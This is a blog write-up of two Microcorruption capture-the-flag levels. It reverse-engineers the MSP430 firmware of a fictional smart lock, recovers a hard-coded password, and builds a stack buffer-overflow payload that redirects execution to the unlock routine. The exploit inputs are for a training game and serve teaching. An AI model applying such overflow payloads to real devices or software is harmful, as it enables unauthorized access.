Microcorruption challenge II

Here we go with the second round of Microcorruption writeups.

Reykjavik (35 points).

Lockitall                                            LOCKIT PRO r a.03
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev a.03              
______________________________________________________________________


OVERVIEW

    - Lockitall developers  have implemented  military-grade on-device
      encryption to keep the password secure.
    - This lock is not attached to any hardware security module.


DETAILS

    The LockIT Pro a.03  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There is  no default password  on the LockIT  Pro---upon receiving
    the LockIT Pro, a new password must be set by connecting it to the
    LockIT Pro  App and  entering a password  when prompted,  and then
    restarting the LockIT Pro using the red button on the back.
    
    This is Hardware  Version A.  It contains  the Bluetooth connector
    built in, and one available port  to which the LockIT Pro Deadbolt
    should be connected.

    This is Software Revision 02. This release contains military-grade
    encryption so users can be confident that the passwords they enter
    can not be read from memory.   We apologize for making it too easy
    for the password to be recovered on prior versions.  The engineers
    responsible have been sacked.

    


(c) 2013 LOCKITALL                                            Page 1/1

While debugging this exercise, my first assumption was that the connection with the server that hosts the challenge was wrong. This was because, suddenly, the pc was disappearing after executing the function enc. However, after stepping through the enc function, I realized I was wrong.

4438 <main>
4438:  3e40 2045      mov	#0x4520, r14
443c:  0f4e           mov	r14, r15
443e:  3e40 f800      mov	#0xf8, r14
4442:  3f40 0024      mov	#0x2400, r15
4446:  b012 8644      call	#0x4486 <enc>
444a:  b012 0024      call	#0x2400
444e:  0f43           clr	r15

In the offset 0x2400, the function enc unpacks the following code:

0b12 0412 0441 2452 3150 e0ff 3b40 2045 073c 1b53 8f11 0f12 0312 b012 6424 2152
6f4b 4f93 f623 3012 0a00 0312 b012 6424 2152 3012 1f00 3f40 dcff 0f54 0f12 2312
b012 6424 3150 0600 b490 e5c1 dcff 0520 3012 7f00 b012 6424 2153 3150 2000 3441
3b41 3041 1e41 0200 0212 0f4e 8f10 024f 32d0 0080 b012 1000 3241 3041 d21a 189a
22dc 45b9 4279 2d55 858e a4a2 67d7 14ae a119 76f6 42cb 1c04 0efa a61b 74a7 416b
d237 a253 22e4 66af c1a5 938b 8971 9b88 fa9b 6674 4e21 2a6b b143 9151 3dcc a6f5
daa7 db3f 8d3c 4d18 4736 dfa6 459a 2461 921d 3291 14e6 8157 b0fe 2ddd 400b 8688
6310 3ab3 612b 0bd9 483f 4e04 5870 4c38 c93c ff36 0e01 7f3e fa55 aeef 051c 242c
3c56 13af e57b 8abf 3040 c537 656e 8278 9af9 9d02 be83 b38c e181 3ad8 395a fce3
4f03 8ec9 9395 4a15 ce3b fd1e 7779 c9c3 5ff2 3dc7 5953 8826 d0b5 d9f8 639e e970
01cd 2119 ca6a d12c 97e2 7538 96c5 8f28 d682 1be5 ab20 7389 48aa 1fa3 472f a564
de2d b710 9081 5205 8d44 cff4 bc2e 577a d5f4 a851 c243 277d a4ca 1e6b 0000 0000

After passing this code through the decompiler, the following instructions are returned:

0b12           push	r11
0412           push	r4
0441           mov	sp, r4
2452           add	#0x4, r4
3150 e0ff      add	#0xffe0, sp
3b40 2045      mov	#0x4520, r11
073c           jmp	$+0x10
1b53           inc	r11
8f11           sxt	r15
0f12           push	r15
0312           push	#0x0
b012 6424      call	#0x2464
2152           add	#0x4, sp
6f4b           mov.b	@r11, r15
4f93           tst.b	r15
f623           jnz	$-0x12
3012 0a00      push	#0xa
0312           push	#0x0
b012 6424      call	#0x2464
2152           add	#0x4, sp
3012 1f00      push	#0x1f
3f40 dcff      mov	#0xffdc, r15
0f54           add	r4, r15
0f12           push	r15
2312           push	#0x2
b012 6424      call	#0x2464
3150 0600      add	#0x6, sp
b490 e5c1 dcff cmp	#0xc1e5, -0x24(r4)
0520           jnz	$+0xc
3012 7f00      push	#0x7f
b012 6424      call	#0x2464
2153           incd	sp
3150 2000      add	#0x20, sp
3441           pop	r4
3b41           pop	r11
3041           ret
1e41 0200      mov	0x2(sp), r14
0212           push	sr
0f4e           mov	r14, r15
8f10           swpb	r15
024f           mov	r15, sr
32d0 0080      bis	#0x8000, sr
b012 1000      call	#0x10
3241           pop	sr
3041           ret
[...]

This code contains the same functions we have seen in the previous challenges. Here is a quick explanation of the code shown above, which I have made by adding some comments next to it:

0b12           push	r11
0412           push	r4
0441           mov	sp, r4
2452           add	#0x4, r4
3150 e0ff      add	#0xffe0, sp
3b40 2045      mov	#0x4520, r11
073c           jmp	$+0x10
1b53           inc	r11
8f11           sxt	r15
0f12           push	r15
0312           push	#0x0
b012 6424      call	#0x2464 // puts
2152           add	#0x4, sp
6f4b           mov.b	@r11, r15
4f93           tst.b	r15
f623           jnz	$-0x12
3012 0a00      push	#0xa  // end of puts
0312           push	#0x0
b012 6424      call	#0x2464
2152           add	#0x4, sp
3012 1f00      push	#0x1f
3f40 dcff      mov	#0xffdc, r15
0f54           add	r4, r15
0f12           push	r15
2312           push	#0x2
b012 6424      call	#0x2464 // getsn
3150 0600      add	#0x6, sp
b490 e5c1 dcff cmp	#0xc1e5, -0x24(r4) //Compare whatever is in -0x24(r4) to 0xc1e5
-<0520           jnz	$+0xc
| 3012 7f00      push	#0x7f
| b012 6424      call	#0x2464 //UNLOCK
| 2153           incd	sp
->3150 2000      add	#0x20, sp
3441           pop	r4
3b41           pop	r11
3041           ret

//#0x2464. Here starts the function <INT> 
1e41 0200      mov	0x2(sp), r14
0212           push	sr
0f4e           mov	r14, r15
8f10           swpb	r15
024f           mov	r15, sr
32d0 0080      bis	#0x8000, sr
b012 1000      call	#0x10
3241           pop	sr
3041           ret

The most important part is on line 28, where there is a comparison between the value #0xc1e5 and something that is stored in -0x24(r4).
Lets see what we have in -0x24(r4) (0x43fe - 0x24 = 0x43da):

mcii01
The value stored in -0x24(r4) is our input.
In pseudo-C the code we have just seen would look like this:

char *pass;
printf("what's the password");
scanf("%s", pass);
if (pass == "xe5xc1")
{
    unlock();
}else{
    ...
}

We just need to enter the value #0xc1e5 (little endian) as our password.
The solution is:
e5c1

Cusco (25 points).

Lockitall                                            LOCKIT PRO r b.02
______________________________________________________________________

              User Manual: Lockitall LockIT Pro, rev b.02              
______________________________________________________________________


OVERVIEW

    - We have fixed issues with passwords which may be too long.
    - This lock is attached the the LockIT Pro HSM-1.


DETAILS

    The LockIT Pro b.02  is the first of a new series  of locks. It is
    controlled by a  MSP430 microcontroller, and is  the most advanced
    MCU-controlled lock available on the  market. The MSP430 is a very
    low-power device which allows the LockIT  Pro to run in almost any
    environment.

    The  LockIT  Pro   contains  a  Bluetooth  chip   allowing  it  to
    communiciate with the  LockIT Pro App, allowing the  LockIT Pro to
    be inaccessable from the exterior of the building.

    There  is no  default  password  on the  LockIT  Pro HSM-1.   Upon
    receiving the  LockIT Pro,  a new  password must  be set  by first
    connecting the LockitPRO HSM to  output port two, connecting it to
    the LockIT Pro App, and entering a new password when prompted, and
    then restarting the LockIT Pro using the red button on the back.
    
    LockIT Pro Hardware  Security Module 1 stores  the login password,
    ensuring users  can not access  the password through  other means.
    The LockIT Pro  can send the LockIT Pro HSM-1  a password, and the
    HSM will  return if the password  is correct by setting  a flag in
    memory.
    
    This is Hardware  Version B.  It contains  the Bluetooth connector
    built in, and two available  ports: the LockIT Pro Deadbolt should
    be  connected to  port  1,  and the  LockIT  Pro  HSM-1 should  be
    connected to port 2.

    This is Software Revision 02. We have improved the security of the
    lock by  removing a conditional  flag that could  accidentally get
    set by passwords that were too long.

    


(c) 2013 LOCKITALL                                            Page 1/1

This program calls the unlock_door function to open the lock. If we check the code that follows these lines, we can see that the value we need to determine whether or not we call unlock_door is stored in r15. The value in r15 is the value returned by the function test_password_valid.

451e:  0f41           mov	sp, r15
4520:  b012 5244      call	#0x4452 <test_password_valid>
4524:  0f93           tst	r15
4526:  0524           jz	#0x4532 <login+0x32>
4528:  b012 4644      call	#0x4446 <unlock_door> 
452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
4530:  023c           jmp	#0x4536 <login+0x36>
4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15

After some testing and reversing, I realized that, in this case, we cannot influence the value returned in r15. That’s because this lock is supposed to be connected to an HSM machine, which takes care of the authentication.

LockIT Pro Hardware  Security Module 1 stores  the login password,
ensuring users  can not access  the password through  other means.
The LockIT Pro  can send the LockIT Pro HSM-1  a password, and the
HSM will  return if the password  is correct by setting  a flag in
memory.

This means we won’t be able to trick the program by trying to affect that return value. Therefore, we will need to find a vulnerability to exploit.
Is this case, we can spot a simple buffer overflow with very little testing.
When executing the program, it tells us that the password must be between 8 and 16 characters long. However, if we read the code, it isn’t very hard to see that it accepts up to 0x30 characters (48 characters).

450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>

Let’s see what happens in the stack when we enter more than 16 characters.
When entering “aaaaaaaaaaaaaaaabb” (16 “a” followed by 2 “b”), the debugger will return the message insn address unaligned. This usually means that our input has somehow affected the flow of the program, thus leading it to an invalid instruction. If we set a break point in 453a, we will see the following stack layout:
mcii02
Our input is underlined in green, and the next instructions to execute are:

453a:  3150 1000      add	#0x10, sp
453e:  3041           ret

These will move the stack pointer 16 (0x10) positions and then return. It’s important to notice that the instruction ret will return to the address pointed by sp in the moment of its execution. So, after moving the stack pointer 16 positions, it will return to “bb”, the last two characters of our input. This gives us control over the execution of the program. To simplify this, we can look at ret instruction as a jmp sp.
Now we need to know where to jump in order to unlock the door.
A good place to jump would be 4446, where the function <unlock_door> is.
To do that, we just need to enter the string 616161616161616161616161616161614644: 16 “a” for padding, and 4446 in little endian.
Before executing the return in 453e, sp points to 4446.
mcii03
If we continue the execution, we see that this was the correct solution to this level.

616161616161616161616161616161614644

There are already a lot of articles all over the internet explaining buffer overflows (you can find some of them in the references of this post), so I won’t explain here how they work. But what I would like to explain is the vulnerability we can find in this specific case.

int main(){
    login();
}

void login(){
    password char[16];
    puts("");
    puts("");
    getsn(password, 48);
    [...]
}

The size of the buffer reserved in line 6 for the password is 16 characters long. But, when calling the function getsn in line 9, it is copying 48 characters. This coding flaw is what allows us to override the return address stored in the stack.
In the next entry of the Microcorruption challenge, we will have a bit more of exploiting.
As usual, feel free to leave some feedback!

References

[1] MSP430 instruction set
[2] Smashing The Stack For Fun And Profit
[3] Corelan – Stack based overflows Tutorial

One comment

  1. Chupacabras · November 13, 2014

    This is the first time I’ve done a writeup of a CTF. Like microcorruption itself, it is meant to be easy to follow and gradually increase assumptions about the reader’s skill level. I appreciate any feedback.